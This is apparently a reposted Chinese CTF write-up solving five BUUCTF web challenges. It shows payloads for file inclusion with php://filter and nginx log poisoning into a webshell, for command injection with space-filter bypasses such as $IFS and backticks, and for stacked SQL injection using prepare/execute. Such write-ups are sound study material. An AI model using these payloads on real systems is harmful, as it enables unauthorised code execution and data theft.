ToB企服应用市场:ToB评测及商务社交产业平台

标题: BUUCTF-WEB(4-8) [打印本页]

作者: 缠丝猫    时间: 2024-5-20 19:12
标题: BUUCTF-WEB(4-8)
[ACTF2020 新生赛]Include

打开标题,是一个超链接,点击后,发现URL发生了变化

可以看出是文件包含,包含了一个flag.php的文件
我们试着访问/etc/passwd

我又试了试伪协议,显然是被过滤了

然后我们就访问了一下nginx的日志,访问成功
  1. ?file=/var/log/nginx/access.log
复制代码
那我们就是UA头写马吧
  1. [/code][align=center][img]https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240518225726937-817236584.png[/img][/align]
  2. 然后我们就用那个[b]nginx[/b]日志的那个[b]URL[/b],然后连接密码为[b]cmd[/b],去用[b]蚁剑[/b]连接一下
  3. [align=center][img]https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240518225726445-1546289699.png[/img][/align]
  4. 连接成功后,在根目次找到flag,然后得出结论[b]我是傻逼[/b]
  5. [align=center][img]https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240518225725234-469385462.png[/img][/align]
  6. 后来我又看了一下文件
  7. [align=center][img]https://img2023.cnblogs.com/blog/3439569/202405/3439569-20240518225724739-1578251362.png[/img][/align]
  8. 原来伪协议,还可以用,我们应该用伪协议去看那个[b]flag.php[/b]的源码
  9. 就用[b]php://filter[/b]
  10. [code]?file=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
就得到源码被base64加密后的数据,我们解密一下

终于拿到flag了,我真要哭了
[ACTF2020 新生赛]Exec

这道题熟悉的ping,我们就复习一下下令连接符就行了
  1. Windows和Linux都支持的命令连接符:
  2. cmd1 | cmd2 只执行cmd2
  3. cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
  4. cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
  5. cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
  6. Linux还支持分号(;),cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2
复制代码
那我们就无需多言,直接战斗
  1. 127.0.0.1 | whoami
复制代码

直接拿下flag
  1. 127.0.0.1 | cat /flag
复制代码

[GXYCTF2019]Ping Ping Ping

参考
下令执行漏洞各种绕过方式_下令执行漏洞 变种 绕过-CSDN博客
下令执行RCE及其绕过详细总结(各情景下的绕过)_rce反弹shell绕过-CSDN博客
这道题还是PING,只不过是GET方式传参
我直接满心欢乐准备拿下
  1. ?ip=127.0.0.1 | ls
复制代码
他显然过滤了空格,气的暴骂我

那我们就绕过空格,我就不用空格了
  1. ?ip=127.0.0.1|ls
复制代码

直接索要flag,这里我发现了哈,有一些符号他也过滤了,好比小数点,单引号,双引号,括号,大括号啥的
但是能用的就是
  1. $ - ~ \ `
复制代码
他直接痛骂fxxk
因为反引号可以用,而且ls已经看到了flag.php
payload
  1. ?ip=127.0.0.1|cat$IFS`ls`
复制代码
然后只能回显index.php的内容,不要怀疑本身,直接看源码

[SUCTF 2019]EasySQL

参考
[BUUCTF:SUCTF 2019]EasySQL-CSDN博客
[buuctf-SUCTF 2019]EasySQL 1(小宇特详解)-CSDN博客
这个标题就是我挺云里雾里的(我太菜了),挺多字符都被过滤之后,看到分号,然后就是尝试堆叠注入
查库名
  1. 1; show databases;
复制代码

查表名
  1. 1;use ctf;show tables;
复制代码

查列名
  1. 1;show columns from Flag;
复制代码

然后发现查不到
然后大佬们说语句就长如许(我还是不太理解),可以看一下大佬们的分析
  1. $sql = "select ".$post['query']."||flag from Flag";
复制代码
然后payload就是
  1. *,1
复制代码

[强网杯 2019]随便注

参考:
[强网杯 2019]随便注 - chalan630 - 博客园 (cnblogs.com)
我们先判定这个数字还是字符
  1. ?inject=1' and '1'='1 正常回显
  2. ?inject=1' and '1'='2 错误回显
复制代码
判定出是字符注入,然后是单引号闭合
  1. ?inject=1' order by 2--+
  2. ?inject=1' order by 3--+
复制代码

判定出是两个字段
然后继续的时候,发现过滤了一些函数

这边我试了一下,注释符绕不已往的,以是这里我想到了堆叠注入,就是上一题学的
查库名:
  1. ?inject=1';show database;#
复制代码

查表名
  1. ?inject=1';show tables;#
复制代码

查列名
  1. ?inject=1';show columns from words;#
复制代码
  1. ?inject=1%27;show%20columns%20from%20`1919810931114514`;#
  2. 注意数据表为数字的时候需要用反引号括起来
复制代码

flag在这个数字这个表
这道题到这里,我就完全不会了,一点儿都不知道怎么给flag这个查询出来
最后的flag的payload为:
  1. -1';
  2. sEt @sql=CONCAT('se','lect * from `1919810931114514`;');
  3. prEpare stmt from @sql;
  4. execute stmt;
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4